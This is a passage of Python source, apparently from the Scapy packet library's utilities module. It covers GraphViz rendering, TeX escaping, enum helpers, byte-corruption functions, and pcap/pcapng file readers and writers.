(*Any) -> Literal[False] sys.stdout = self.bck_stdout return False def get_output(self, eval_bytes=False): # type: (bool) -> str if self.result_export_object.startswith("b'") and eval_bytes: return plain_str(eval(self.result_export_object)) return self.result_export_object def do_graph( graph, # type: str prog=None, # type: Optional[str] format=None, # type: Optional[str] target=None, # type: Optional[Union[IO[bytes], str]] type=None, # type: Optional[str] string=None, # type: Optional[bool] options=None # type: Optional[List[str]] ): # type: (...) -> Optional[str] """Processes graph description using an external software. This method is used to convert a graphviz format to an image. :param graph: GraphViz graph description :param prog: which graphviz program to use :param format: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option :param string: if not None, simply return the graph string :param target: filename or redirect. Defaults pipe to Imagemagick's display program :param options: options to be passed to prog """ if format is None: format = "svg" if string: return graph if type is not None: warnings.warn( "type is deprecated, and was renamed format", DeprecationWarning ) format = type if prog is None: prog = conf.prog.dot start_viewer = False if target is None: if WINDOWS: target = get_temp_file(autoext="." + format) start_viewer = True else: with ContextManagerSubprocess(conf.prog.display): target = subprocess.Popen([conf.prog.display], stdin=subprocess.PIPE).stdin if format is not None: format = "-T%s" % format if isinstance(target, str): if target.startswith('|'): target = subprocess.Popen(target[1:].lstrip(), shell=True, stdin=subprocess.PIPE).stdin elif target.startswith('>'): target = open(target[1:].lstrip(), "wb") else: target = open(os.path.abspath(target), "wb") target = cast(IO[bytes], target) proc = subprocess.Popen( "\"%s\" %s %s" % (prog, options or "", format or ""), shell=True, stdin=subprocess.PIPE, stdout=target, stderr=subprocess.PIPE ) _, stderr = proc.communicate(bytes_encode(graph)) if proc.returncode != 0: raise OSError( "GraphViz call failed (is it installed?):\n" + plain_str(stderr) ) try: target.close() except Exception: pass if start_viewer: # Workaround for file not found error: We wait until tempfile is written. # noqa: E501 waiting_start = time.time() while not os.path.exists(target.name): time.sleep(0.1) if time.time() - waiting_start > 3: warning("Temporary file '%s' could not be written. Graphic will not be displayed.", tempfile) # noqa: E501 break else: if WINDOWS and conf.prog.display == conf.prog._default: os.startfile(target.name) else: with ContextManagerSubprocess(conf.prog.display): subprocess.Popen([conf.prog.display, target.name]) return None _TEX_TR = { "{": "{\\tt\\char123}", "}": "{\\tt\\char125}", "\\": "{\\tt\\char92}", "^": "\\^{}", "$": "\\$", "#": "\\#", "_": "\\_", "&": "\\&", "%": "\\%", "|": "{\\tt\\char124}", "~": "{\\tt\\char126}", "<": "{\\tt\\char60}", ">": "{\\tt\\char62}", } def tex_escape(x): # type: (str) -> str s = "" for c in x: s += _TEX_TR.get(c, c) return s def colgen(*lstcol, # type: Any **kargs # type: Any ): # type: (...) -> Iterator[Any] """Returns a generator that mixes provided quantities forever trans: a function to convert the three arguments into a color. lambda x,y,z:(x,y,z) by default""" # noqa: E501 if len(lstcol) < 2: lstcol *= 2 trans = kargs.get("trans", lambda x, y, z: (x, y, z)) while True: for i in range(len(lstcol)): for j in range(len(lstcol)): for k in range(len(lstcol)): if i != j or j != k or k != i: yield trans(lstcol[(i + j) % len(lstcol)], lstcol[(j + k) % len(lstcol)], lstcol[(k + i) % len(lstcol)]) # noqa: E501 def incremental_label(label="tag%05i", start=0): # type: (str, int) -> Iterator[str] while True: yield label % start start += 1 def binrepr(val): # type: (int) -> str return bin(val)[2:] def long_converter(s): # type: (str) -> int return int(s.replace('\n', '').replace(' ', ''), 16) ######################### # Enum management # ######################### class EnumElement: def __init__(self, key, value): # type: (str, int) -> None self._key = key self._value = value def __repr__(self): # type: () -> str return "<%s %s[%r]>" % (self.__dict__.get("_name", self.__class__.__name__), self._key, self._value) # noqa: E501 def __getattr__(self, attr): # type: (str) -> Any return getattr(self._value, attr) def __str__(self): # type: () -> str return self._key def __bytes__(self): # type: () -> bytes return bytes_encode(self.__str__()) def __hash__(self): # type: () -> int return self._value def __int__(self): # type: () -> int return int(self._value) def __eq__(self, other): # type: (Any) -> bool return self._value == int(other) def __neq__(self, other): # type: (Any) -> bool return not self.__eq__(other) class Enum_metaclass(type): element_class = EnumElement def __new__(cls, name, bases, dct): # type: (Any, str, Any, Dict[str, Any]) -> Any rdict = {} for k, v in dct.items(): if isinstance(v, int): v = cls.element_class(k, v) dct[k] = v rdict[v] = k dct["__rdict__"] = rdict return super(Enum_metaclass, cls).__new__(cls, name, bases, dct) def __getitem__(self, attr): # type: (int) -> Any return self.__rdict__[attr] # type: ignore def __contains__(self, val): # type: (int) -> bool return val in self.__rdict__ # type: ignore def get(self, attr, val=None): # type: (str, Optional[Any]) -> Any return self.__rdict__.get(attr, val) # type: ignore def __repr__(self): # type: () -> str return "<%s>" % self.__dict__.get("name", self.__name__) ################## # Corrupt data # ################## @conf.commands.register def corrupt_bytes(data, p=0.01, n=None): # type: (str, float, Optional[int]) -> bytes """ Corrupt a given percentage (at least one byte) or number of bytes from a string """ s = array.array("B", bytes_encode(data)) s_len = len(s) if n is None: n = max(1, int(s_len * p)) for i in random.sample(range(s_len), n): s[i] = (s[i] + random.randint(1, 255)) % 256 return s.tobytes() @conf.commands.register def corrupt_bits(data, p=0.01, n=None): # type: (str, float, Optional[int]) -> bytes """ Flip a given percentage (at least one bit) or number of bits from a string """ s = array.array("B", bytes_encode(data)) s_len = len(s) * 8 if n is None: n = max(1, int(s_len * p)) for i in random.sample(range(s_len), n): s[i // 8] ^= 1 << (i % 8) return s.tobytes() ############################# # pcap capture file stuff # ############################# @conf.commands.register def wrpcap(filename, # type: Union[IO[bytes], str] pkt, # type: _PacketIterable *args, # type: Any **kargs # type: Any ): # type: (...) -> None """Write a list of packets to a pcap file :param filename: the name of the file to write packets to, or an open, writable file-like object. The file descriptor will be closed at the end of the call, so do not use an object you do not want to close (e.g., running wrpcap(sys.stdout, []) in interactive mode will crash Scapy). :param gz: set to 1 to save a gzipped capture :param linktype: force linktype value :param endianness: "<" or ">", force endianness :param sync: do not bufferize writes to the capture file """ with PcapWriter(filename, *args, **kargs) as fdesc: fdesc.write(pkt) @conf.commands.register def wrpcapng(filename, # type: str pkt, # type: _PacketIterable ): # type: (...) -> None """Write a list of packets to a pcapng file :param filename: the name of the file to write packets to, or an open, writable file-like object. The file descriptor will be closed at the end of the call, so do not use an object you do not want to close (e.g., running wrpcapng(sys.stdout, []) in interactive mode will crash Scapy). :param pkt: packets to write """ with PcapNgWriter(filename) as fdesc: fdesc.write(pkt) @conf.commands.register def rdpcap(filename, count=-1): # type: (Union[IO[bytes], str], int) -> PacketList """Read a pcap or pcapng file and return a packet list :param count: read only packets """ # Rant: Our complicated use of metaclasses and especially the # __call__ function is, of course, not supported by MyPy. # One day we should simplify this mess and use a much simpler # layout that will actually be supported and properly dissected. with PcapReader(filename) as fdesc: # type: ignore return fdesc.read_all(count=count) # NOTE: Type hinting # Mypy doesn't understand the following metaclass, and thinks each # constructor (PcapReader...) needs 3 arguments each. To avoid this, # we add a fake (=None) to the last 2 arguments then force the value # to not be None in the signature and pack the whole thing in an ignore. # This allows to not have # type: ignore every time we call those # constructors. class PcapReader_metaclass(type): """Metaclass for (Raw)Pcap(Ng)Readers""" def __new__(cls, name, bases, dct): # type: (Any, str, Any, Dict[str, Any]) -> Any """The `alternative` class attribute is declared in the PcapNg variant, and set here to the Pcap variant. """ newcls = super(PcapReader_metaclass, cls).__new__( cls, name, bases, dct ) if 'alternative' in dct: dct['alternative'].alternative = newcls return newcls def __call__(cls, filename): # type: (Union[IO[bytes], str]) -> Any """Creates a cls instance, use the `alternative` if that fails. """ i = cls.__new__( cls, cls.__name__, cls.__bases__, cls.__dict__ # type: ignore ) filename, fdesc, magic = cls.open(filename) if not magic: raise Scapy_Exception( "No data could be read!" ) try: i.__init__(filename, fdesc, magic) return i except (Scapy_Exception, EOFError): pass if "alternative" in cls.__dict__: cls = cls.__dict__["alternative"] i = cls.__new__( cls, cls.__name__, cls.__bases__, cls.__dict__ # type: ignore ) try: i.__init__(filename, fdesc, magic) return i except (Scapy_Exception, EOFError): pass raise Scapy_Exception("Not a supported capture file") @staticmethod def open(fname # type: Union[IO[bytes], str] ): # type: (...) -> Tuple[str, _ByteStream, bytes] """Open (if necessary) filename, and read the magic.""" if isinstance(fname, str): filename = fname fdesc = open(filename, "rb") # type: _ByteStream magic = fdesc.read(2) if magic == b"\x1f\x8b": # GZIP header detected. fdesc.seek(0) fdesc = gzip.GzipFile(fileobj=fdesc) magic = fdesc.read(2) magic += fdesc.read(2) else: fdesc = fname filename = getattr(fdesc, "name", "No name") magic = fdesc.read(4) return filename, fdesc, magic class RawPcapReader(metaclass=PcapReader_metaclass): """A stateful pcap reader. Each packet is returned as a string""" # TODO: use Generics to properly type the various readers. # As of right now, RawPcapReader is typed as if it returned packets # because all of its child do. Fix that nonblocking_socket = True PacketMetadata = collections.namedtuple("PacketMetadata", ["sec", "usec", "wirelen", "caplen"]) # noqa: E501 def __init__(self, filename, fdesc=None, magic=None): # type: ignore # type: (str, _ByteStream, bytes) -> None self.filename = filename self.f = fdesc if magic == b"\xa1\xb2\xc3\xd4": # big endian self.endian = ">" self.nano = False elif magic == b"\xd4\xc3\xb2\xa1": # little endian self.endian = "<" self.nano = False elif magic == b"\xa1\xb2\x3c\x4d": # big endian, nanosecond-precision self.endian = ">" self.nano = True elif magic == b"\x4d\x3c\xb2\xa1": # little endian, nanosecond-precision # noqa: E501 self.endian = "<" self.nano = True else: raise Scapy_Exception( "Not a pcap capture file (bad magic: %r)" % magic ) hdr = self.f.read(20) if len(hdr) < 20: raise Scapy_Exception("Invalid pcap file (too short)") vermaj, vermin, tz, sig, snaplen, linktype = struct.unpack( self.endian + "HHIIII", hdr ) self.linktype = linktype self.snaplen = snaplen def __enter__(self): # type: () -> RawPcapReader return self def __iter__(self): # type: () -> RawPcapReader return self def __next__(self): # type: () -> Tuple[bytes, RawPcapReader.PacketMetadata] """ implement the iterator protocol on a set of packets in a pcap file """ try: return self._read_packet() except EOFError: raise StopIteration def _read_packet(self, size=MTU): # type: (int) -> Tuple[bytes, RawPcapReader.PacketMetadata] """return a single packet read from the file as a tuple containing (pkt_data, pkt_metadata) raise EOFError when no more packets are available """ hdr = self.f.read(16) if len(hdr) < 16: raise EOFError sec, usec, caplen, wirelen = struct.unpack(self.endian + "IIII", hdr) try: data = self.f.read(caplen)[:size] except OverflowError as e: warning(f"Pcap: {e}") raise EOFError return (data, RawPcapReader.PacketMetadata(sec=sec, usec=usec, wirelen=wirelen, caplen=caplen)) def read_packet(self, size=MTU): # type: (int) -> Packet raise Exception( "Cannot call read_packet() in RawPcapReader. Use " "_read_packet()" ) def dispatch(self, callback # type: Callable[[Tuple[bytes, RawPcapReader.PacketMetadata]], Any] # noqa: E501 ): # type: (...) -> None """call the specified callback routine for each packet read This is just a convenience function for the main loop that allows for easy launching of packet processing in a thread. """ for p in self: callback(p) def _read_all(self, count=-1): # type: (int) -> List[Packet] """return a list of all packets in the pcap file """ res = [] # type: List[Packet] while count != 0: count -= 1 try: p = self.read_packet() # type: Packet except EOFError: break res.append(p) return res def recv(self, size=MTU): # type: (int) -> bytes """ Emulate a socket """ return self._read_packet(size=size)[0] def fileno(self): # type: () -> int return -1 if WINDOWS else self.f.fileno() def close(self): # type: () -> None if isinstance(self.f, gzip.GzipFile): self.f.fileobj.close() # type: ignore self.f.close() def __exit__(self, exc_type, exc_value, tracback): # type: (Optional[Any], Optional[Any], Optional[Any]) -> None self.close() # emulate SuperSocket @staticmethod def select(sockets, # type: List[SuperSocket] remain=None, # type: Optional[float] ): # type: (...) -> List[SuperSocket] return sockets class PcapReader(RawPcapReader): def __init__(self, filename, fdesc=None, magic=None): # type: ignore # type: (str, IO[bytes], bytes) -> None RawPcapReader.__init__(self, filename, fdesc, magic) try: self.LLcls = conf.l2types.num2layer[ self.linktype ] # type: Type[Packet] except KeyError: warning("PcapReader: unknown LL type [%i]/[%#x]. Using Raw packets" % (self.linktype, self.linktype)) # noqa: E501 if conf.raw_layer is None: # conf.raw_layer is set on import import scapy.packet # noqa: F401 self.LLcls = conf.raw_layer def __enter__(self): # type: () -> PcapReader return self def read_packet(self, size=MTU, **kwargs): # type: (int, **Any) -> Packet rp = super(PcapReader, self)._read_packet(size=size) if rp is None: raise EOFError s, pkt_info = rp try: p = self.LLcls(s, **kwargs) # type: Packet except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: from scapy.sendrecv import debug debug.crashed_on = (self.LLcls, s) raise if conf.raw_layer is None: # conf.raw_layer is set on import import scapy.packet # noqa: F401 p = conf.raw_layer(s) power = Decimal(10) ** Decimal(-9 if self.nano else -6) p.time = EDecimal(pkt_info.sec + power * pkt_info.usec) p.wirelen = pkt_info.wirelen return p def recv(self, size=MTU, **kwargs): # type: ignore # type: (int, **Any) -> Packet return self.read_packet(size=size, **kwargs) def __iter__(self): # type: () -> PcapReader return self def __next__(self): # type: ignore # type: () -> Packet try: return self.read_packet() except EOFError: raise StopIteration def read_all(self, count=-1): # type: (int) -> PacketList res = self._read_all(count) from scapy import plist return plist.PacketList(res, name=os.path.basename(self.filename)) class RawPcapNgReader(RawPcapReader): """A stateful pcapng reader. Each packet is returned as bytes. """ alternative = RawPcapReader # type: Type[Any] PacketMetadata = collections.namedtuple("PacketMetadataNg", # type: ignore ["linktype", "tsresol", "tshigh", "tslow", "wirelen", "comments", "ifname", "direction", "process_information"]) def __init__(self, filename, fdesc=None, magic=None): # type: ignore # type: (str, IO[bytes], bytes) -> None self.filename = filename self.f = fdesc # A list of (linktype, snaplen, tsresol); will be populated by IDBs. self.interfaces = [] # type: List[Tuple[int, int, Dict[str, Any]]] self.default_options = { "tsresol": 1000000 } self.blocktypes: Dict[ int, Callable[ [bytes, int], Optional[Tuple[bytes, RawPcapNgReader.PacketMetadata]] ]] = { 1: self._read_block_idb, 2: self._read_block_pkt, 3: self._read_block_spb, 6: self._read_block_epb, 10: self._read_block_dsb, 0x80000001: self._read_block_pib, } self.endian = "!" # Will be overwritten by first SHB self.process_information = [] # type: List[Dict[str, Any]] if magic != b"\x0a\x0d\x0d\x0a": # PcapNg: raise Scapy_Exception( "Not a pcapng capture file (bad magic: %r)" % magic ) try: self._read_block_shb() except EOFError: raise Scapy_Exception( "The first SHB of the pcapng file is malformed !" ) def _read_block(self, size=MTU): # type: (int) -> Optional[Tuple[bytes, RawPcapNgReader.PacketMetadata]] # noqa: E501 try: blocktype = struct.unpack(self.endian + "I", self.f.read(4))[0] except struct.error: raise EOFError if blocktype == 0x0A0D0D0A: # This function updates the endianness based on the block content. self._read_block_shb() return None try: blocklen = struct.unpack(self.endian + "I", self.f.read(4))[0] except struct.error: warning("PcapNg: Error reading blocklen before block body") raise EOFError if blocklen < 12: warning("PcapNg: Invalid block length !") raise EOFError _block_body_length = blocklen - 12 block = self.f.read(_block_body_length) if len(block) != _block_body_length: raise Scapy_Exception("PcapNg: Invalid Block body length " "(too short)") self._read_block_tail(blocklen) if blocktype in self.blocktypes: return self.blocktypes[blocktype](block, size) return None def _read_block_tail(self, blocklen): # type: (int) -> None if blocklen % 4: pad = self.f.read(-blocklen % 4) warning("PcapNg: bad blocklen %d (MUST be a multiple of 4. " "Ignored padding %r" % (blocklen, pad)) try: if blocklen != struct.unpack(self.endian + 'I', self.f.read(4))[0]: raise EOFError("PcapNg: Invalid pcapng block (bad blocklen)") except struct.error: warning("PcapNg: Could not read blocklen after block body") raise EOFError def _read_block_shb(self): # type: () -> None """Section Header Block""" _blocklen = self.f.read(4) endian = self.f.read(4) if endian == b"\x1a\x2b\x3c\x4d": self.endian = ">" elif endian == b"\x4d\x3c\x2b\x1a": self.endian = "<" else: warning("PcapNg: Bad magic in Section Header Block" " (not a pcapng file?)") raise EOFError try: blocklen = struct.unpack(self.endian + "I", _blocklen)[0] except struct.error: warning("PcapNg: Could not read blocklen") raise EOFError if blocklen < 28: warning(f"PcapNg: Invalid Section Header Block length ({blocklen})!") # noqa: E501 raise EOFError # Major version must be 1 _major = self.f.read(2) try: major = struct.unpack(self.endian + "H", _major)[0] except struct.error: warning("PcapNg: Could not read major value") raise EOFError if major != 1: warning(f"PcapNg: SHB Major version {major} unsupported !") raise EOFError # Skip minor version & section length skipped = self.f.read(10) if len(skipped) != 10: warning("PcapNg: Could not read minor value & section length") raise EOFError _options_len = blocklen - 28 options = self.f.read(_options_len) if len(options) != _options_len: raise Scapy_Exception("PcapNg: Invalid Section Header Block " " options (too short)") self._read_block_tail(blocklen) self._read_options(options) def _read_packet(self, size=MTU): # type: ignore # type: (int) -> Tuple[bytes, RawPcapNgReader.PacketMetadata] """Read blocks until it reaches either EOF or a packet, and returns None or (packet, (linktype, sec, usec, wirelen)), where packet is a string. """ while True: res = self._read_block(size=size) if res is not None: return res def _read_options(self, options): # type: (bytes) -> Dict[int, Union[bytes, List[bytes]]] opts = dict() # type: Dict[int, Union[bytes, List[bytes]]] while len(options) >= 4: try: code, length = struct.unpack(self.endian + "HH", options[:4]) except struct.error: warning("PcapNg: options header is too small " "%d !" % len(options)) raise EOFError if code != 0 and 4 + length <= len(options): # https://www.ietf.org/archive/id/draft-tuexen-opsawg-pcapng-05.html#name-options-format if code in [1, 2988, 2989, 19372, 19373]: if code not in opts: opts[code] = [] opts[code].append(options[4:4 + length]) # type: ignore else: opts[code] = options[4:4 + length] if code == 0: if length != 0: warning("PcapNg: invalid option " "length %d for end-of-option" % length) break if length % 4: length += (4 - (length % 4)) options = options[4 + length:] return opts def _read_block_idb(self, block, _): # type: (bytes, int) -> None """Interface Description Block""" # 2 bytes LinkType + 2 bytes Reserved # 4 bytes Snaplen options_raw = self._read_options(block[8:]) options = self.default_options.copy() # type: Dict[str, Any] for c, v in options_raw.items(): if isinstance(v, list): # Spec allows multiple occurrences (see # https://www.ietf.org/archive/id/draft-tuexen-opsawg-pcapng-05.html#section-4.2-8.6) # but does not define which to use. We take the first for # backward compatibility. v = v[0] if c == 9: length = len(v) if length == 1: tsresol = orb(v) options["tsresol"] = (2 if tsresol & 128 else 10) ** ( tsresol & 127 ) else: warning("PcapNg: invalid options " "length %d for IDB tsresol" % length) elif c == 2: options["name"] = v elif c == 1: options["comment"] = v try: interface: Tuple[int, int, Dict[str, Any]] = struct.unpack( self.endian + "HxxI", block[:8] ) + (options,) except struct.error: warning("PcapNg: IDB is too small %d/8 !" % len(block)) raise EOFError self.interfaces.append(interface) def _check_interface_id(self, intid): # type: (int) -> None """Check the interface id value and raise EOFError if invalid.""" tmp_len = len(self.interfaces) if intid >= tmp_len: warning("PcapNg: invalid interface id %d/%d" % (intid, tmp_len)) raise EOFError def _read_block_epb(self, block, size): # type: (bytes, int) -> Tuple[bytes, RawPcapNgReader.PacketMetadata] """Enhanced Packet Block""" try: intid, tshigh, tslow, caplen, wirelen = struct.unpack( self.endian + "5I", block[:20], ) except struct.error: warning("PcapNg: EPB is too small %d/20 !" % len(block)) raise EOFError # Compute the options offset taking padding into account if caplen % 4: opt_offset = 20 + caplen + (-caplen) % 4 else: opt_offset = 20 + caplen # Parse options options = self._read_options(block[opt_offset:]) process_information = {} for code, value in options.items(): # PCAPNG_EPB_PIB_INDEX, PCAPNG_EPB_E_PIB_INDEX if code in [0x8001, 0x8003]: try: proc_index = struct.unpack( self.endian + "I", value)[0] # type: ignore except struct.error: warning("PcapNg: EPB invalid proc index " "(expected 4 bytes, got %d) !" % len(value)) raise EOFError if proc_index < len(self.process_information): key = "proc" if code == 0x8001 else "eproc" process_information[key] = self.process_information[proc_index] else: warning("PcapNg: EPB invalid process information index " "(%d/%d) !" % (proc_index, len(self.process_information))) comments = options.get(1, None) epb_flags_raw = options.get(2, None) if epb_flags_raw and isinstance(epb_flags_raw, bytes): try: epb_flags, = struct.unpack(self.endian + "I", epb_flags_raw) except struct.error: warning("PcapNg: EPB invalid flags size" "(expected 4 bytes, got %d) !" % len(epb_flags_raw)) raise EOFError direction = epb_flags & 3 else: direction = None self._check_interface_id(intid) ifname = self.interfaces[intid][2].get('name', None) return (block[20:20 + caplen][:size], RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0], # noqa: E501 tsresol=self.interfaces[intid][2]['tsresol'], # noqa: E501 tshigh=tshigh, tslow=tslow, wirelen=wirelen, ifname=ifname, direction=direction, process_information=process_information, comments=comments)) def _read_block_spb(self, block, size): # type: (bytes, int) -> Tuple[bytes, RawPcapNgReader.PacketMetadata] """Simple Packet Block""" # "it MUST be assumed that all the Simple Packet Blocks have # been captured on the interface previously specified in the # first Interface Description Block." intid = 0 self._check_interface_id(intid) try: wirelen, = struct.unpack(self.endian + "I", block[:4]) except struct.error: warning("PcapNg: SPB is too small %d/4 !" % len(block)) raise EOFError caplen = min(wirelen, self.interfaces[intid][1]) return (block[4:4 + caplen][:size], RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0], # noqa: E501 tsresol=self.interfaces[intid][2]['tsresol'], # noqa: E501 tshigh=None, tslow=None, wirelen=wirelen, ifname=None, direction=None, process_information={}, comments=None)) def _read_block_pkt(self, block, size): # type: (bytes, int) -> Tuple[bytes, RawPcapNgReader.PacketMetadata] """(Obsolete) Packet Block""" try: intid, drops, tshigh, tslow, caplen, wirelen = struct.unpack( self.endian + "HH4I", block[:20], ) except struct.error: warning("PcapNg: PKT is too small %d/20 !" % len(block)) raise EOFError self._check_interface_id(intid) return (block[20:20 + caplen][:size], RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0], # noqa: E501 tsresol=self.interfaces[intid][2]['tsresol'], # noqa: E501 tshigh=tshigh, tslow=tslow, wirelen=wirelen, ifname=None, direction=None, process_information={}, comments=None)) def _read_block_dsb(self, block, size): # type: (bytes, int) -> None """Decryption Secrets Block""" # Parse the secrets type and length fields try: secrets_type, secrets_length = struct.unpack( self.endian + "II", block[:8], ) block = block[8:] except struct.error: warning("PcapNg: DSB is too small %d!", len(block)) raise EOFError # Compute the secrets length including the padding padded_secrets_length = secrets_length + (-secrets_length) % 4 if len(block) < padded_secrets_length: warning("PcapNg: invalid DSB secrets length!") raise EOFError # Extract secrets data and options secrets_data = block[:padded_secrets_length][:secrets_length] if block[padded_secrets_length:]: warning("PcapNg: DSB options are not supported!") # TLS Key Log if secrets_type == 0x544c534b: if getattr(conf, "tls_sessions", False) is False: warning("PcapNg: TLS Key Log available, but " "the TLS layer is not loaded! Scapy won't be able " "to decrypt the packets.") else: from scapy.layers.tls.session import load_nss_keys # Write Key Log to a file and parse it filename = get_temp_file() with open(filename, "wb") as fd: fd.write(secrets_data) fd.close() keys = load_nss_keys(filename) if not keys: warning("PcapNg: invalid TLS Key Log in DSB!") else: # Note: these attributes are only available when the TLS # layer is loaded. conf.tls_nss_keys = keys conf.tls_session_enable = True else: warning("PcapNg: Unknown DSB secrets type (0x%x)!", secrets_type) def _read_block_pib(self, block, _): # type: (bytes, int) -> None """Apple Process Information Block""" # Get the Process ID try: dpeb_pid = struct.unpack(self.endian + "I", block[:4])[0] process_information = {"id": dpeb_pid} block = block[4:] except struct.error: warning("PcapNg: DPEB is too small (%d). Cannot get PID!", len(block)) raise EOFError # Get Options options = self._read_options(block) for code, value in options.items(): if code == 2: process_information["name"] = value.decode( # type: ignore "ascii", "backslashreplace") elif code == 4: if len(value) == 16: process_information["uuid"] = str(UUID(bytes=value)) # type: ignore else: warning("PcapNg: DPEB UUID length is invalid (%d)!", len(value)) # Store process information self.process_information.append(process_information) class PcapNgReader(RawPcapNgReader, PcapReader): alternative = PcapReader def __init__(self, filename, fdesc=None, magic=None): # type: ignore # type: (str, IO[bytes], bytes) -> None RawPcapNgReader.__init__(self, filename, fdesc, magic) def __enter__(self): # type: () -> PcapNgReader return self def read_packet(self, size=MTU, **kwargs): # type: (int, **Any) -> Packet rp = super(PcapNgReader, self)._read_packet(size=size) if rp is None: raise EOFError s, (linktype, tsresol, tshigh, tslow, wirelen, comments, ifname, direction, process_information) = rp # noqa: E501 try: cls = conf.l2types.num2layer[linktype] # type: Type[Packet] p = cls(s, **kwargs) # type: Packet except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: raise if conf.raw_layer is None: # conf.raw_layer is set on import import scapy.packet # noqa: F401 p = conf.raw_layer(s) if tshigh is not None: p.time = EDecimal((tshigh << 32) + tslow) / tsresol p.wirelen = wirelen p.comments = comments p.direction = direction p.process_information = process_information.copy() if ifname is not None: p.sniffed_on = ifname.decode('utf-8', 'backslashreplace') return p def recv(self, size: int = MTU, **kwargs: Any) -> 'Packet': # type: ignore return self.read_packet(size=size, **kwargs) class GenericPcapWriter(object): nano = False linktype: int def _write_header(self, pkt): # type: (Optional[Union[Packet, bytes]]) -> None raise NotImplementedError def _write_packet(self, packet, # type: Union[bytes, Packet] linktype, # type: int sec=None, # type: Optional[float] usec=None, # type: Optional[int] caplen=None, # type: Optional[int] wirelen=None, # type: Optional[int] ifname=None, # type: Optional[bytes] direction=None, # type: Optional[int] comments=None, # type: Optional[List[bytes]] ): # type: (...) -> None raise NotImplementedError def _get_time(self, packet, # type: Union[bytes, Packet] sec, # type: Optional[float] usec # type: Optional[int] ): # type: (...) -> Tuple[float, int] if hasattr(packet, "time"): if sec is None: packet_time = packet.time tmp = int(packet_time) usec = int(round((packet_time - tmp) * (1000000000 if self.nano else 1000000))) sec = float(packet_time) if sec is not None and usec is None: usec = 0 return sec, usec # type: ignore def write_header(self, pkt): # type: (Optional[Union[Packet, bytes]]) -> None if not hasattr(self, 'linktype'): try: if pkt is None or isinstance(pkt, bytes): # Can't guess LL raise KeyError self.linktype = conf.l2types.layer2num[ pkt.__class__ ] except KeyError: msg = "%s: unknown LL type for %s. Using type 1 (Ethernet)" warning(msg, self.__class__.__name__, pkt.__class__.__name__) self.linktype = DLT_EN10MB self._write_header(pkt) def write_packet(self, packet, # type: Union[bytes, Packet] sec=None, # type: Optional[float] usec=None, # type: Optional[int] caplen=None, # type: Optional[int] wirelen=None, # type: Optional[int] ): # type: (...) -> None """ Writes a single packet to the pcap file. :param packet: Packet, or bytes for a single packet :type packet: scapy.packet.Packet or bytes :param sec: time the packet was captured, in seconds since epoch. If not supplied, defaults to now. :type sec: float :param usec: If ``nano=True``, then number of nanoseconds after the second that the packet was captured. If ``nano=False``, then the number of microseconds after the second the packet was captured. If ``sec`` is not specified, this value is ignored. :type usec: int or long :param caplen: The length of the packet in the capture file. If not specified, uses ``len(raw(packet))``. :type caplen: int :param wirelen: The length of the packet on the wire. If not specified, tries ``packet.wirelen``, otherwise uses ``caplen``. :type wirelen: int :return: None :rtype: None """ f_sec, usec = self._get_time(packet, sec, usec) rawpkt = bytes_encode(packet) caplen = len(rawpkt) if caplen is None else caplen if wirelen is None: if hasattr(packet, "wirelen"): wirelen = packet.wirelen if wirelen is None: wirelen = caplen comments = getattr(packet, "comments", None) ifname = getattr(packet, "sniffed_on", None) direction = getattr(packet, "direction", None) if not isinstance(packet, bytes): linktype: int = conf.l2types.layer2num[ packet.__class__ ] else: linktype = self.linktype if ifname is not None: ifname = str(ifname).encode('utf-8') self._write_packet( rawpkt, sec=f_sec, usec=usec, caplen=caplen, wirelen=wirelen, ifname=ifname, direction=direction, linktype=linktype, comments=comments, ) class GenericRawPcapWriter(GenericPcapWriter): header_present = False nano = False sync = False f = None # type: Union[IO[bytes], gzip.GzipFile] def fileno(self): # type: () -> int return -1 if WINDOWS else self.f.fileno() def flush(self): # type: () -> Optional[Any] return self.f.flush() def close(self): # type: () -> Optional[Any] if not self.header_present: self.write_header(None) return self.f.close() def __enter__(self): # type: () -> GenericRawPcapWriter return self def __exit__(self, exc_type, exc_value, tracback): # type: (Optional[Any], Optional[Any], Optional[Any]) -> None self.flush() self.close() def write(self, pkt): # type: (Union[_PacketIterable, bytes]) -> None """ Writes a Packet, a SndRcvList object, or bytes to a pcap file. :param pkt: Packet(s) to write (one record for each Packet), or raw bytes to write (as one record). :type pkt: iterable[scapy.packet.Packet], scapy.packet.Packet or bytes """ if isinstance(pkt, bytes): if not self.header_present: self.write_header(pkt) self.write_packet(pkt) else: # Import here to avoid circular dependency from scapy.supersocket import IterSocket for p in IterSocket(pkt).iter: if not self.header_present: self.write_header(p) if not isinstance(p, bytes) and \ self.linktype != conf.l2types.get(type(p), None): warning("Inconsistent linktypes detected!" " The resulting file might contain" " invalid packets." ) self.write_packet(p) class RawPcapWriter(GenericRawPcapWriter): """A stream PCAP writer with more control than wrpcap()""" def __init__(self, filename, # type: Union[IO[bytes], str] linktype=None, # type: Optional[int] gz=False, # type: bool endianness="", # type: str append=False, # type: bool sync=False, # type: bool nano=False, # type: bool snaplen=MTU, # type: int bufsz=4096, # type: int ): # type: (...) -> None """ :param filename: the name of the file to write packets to, or an open, writable file-like object. :param linktype: force linktype to a given value. If None, linktype is taken from the first writer packet :param gz: compress the capture on the fly :param endianness: force an endianness (little:"<", big:">"). Default is native :param append: append packets to the capture file instead of truncating it :param sync: do not bufferize writes to the capture file :param nano: use nanosecond-precision (requires libpcap >= 1.5.0) """ if linktype: self.linktype = linktype self.snaplen = snaplen self.append = append self.gz = gz self.endian = endianness self.sync = sync self.nano = nano if sync: bufsz = 0 if isinstance(filename, str): self.filename = filename if gz: self.f = cast(_ByteStream, gzip.open( filename, append and "ab" or "wb", 9 )) else: self.f = open(filename, append and "ab" or "wb", bufsz) else: self.f = filename self.filename = getattr(filename, "name", "No name") def _write_header(self, pkt): # type: (Optional[Union[Packet, bytes]]) -> None self.header_present = True if self.append: # Even if prone to race conditions, this seems to be # safest way to tell whether the header is already present # because we have to handle compressed streams that # are not as flexible as basic files if self.gz: g = gzip.open(self.filename, "rb") # type: _ByteStream else: g = open(self.filename, "rb") try: if g.read(16): return finally: g.close() if not hasattr(self, 'linktype'): raise ValueError( "linktype could not be guessed. " "Please pass a linktype while creating the writer" ) self.f.write(struct.pack(self.endian + "IHHIIII", 0xa1b23c4d if self.nano else 0xa1b2c3d4, # noqa: E501 2, 4, 0, 0, 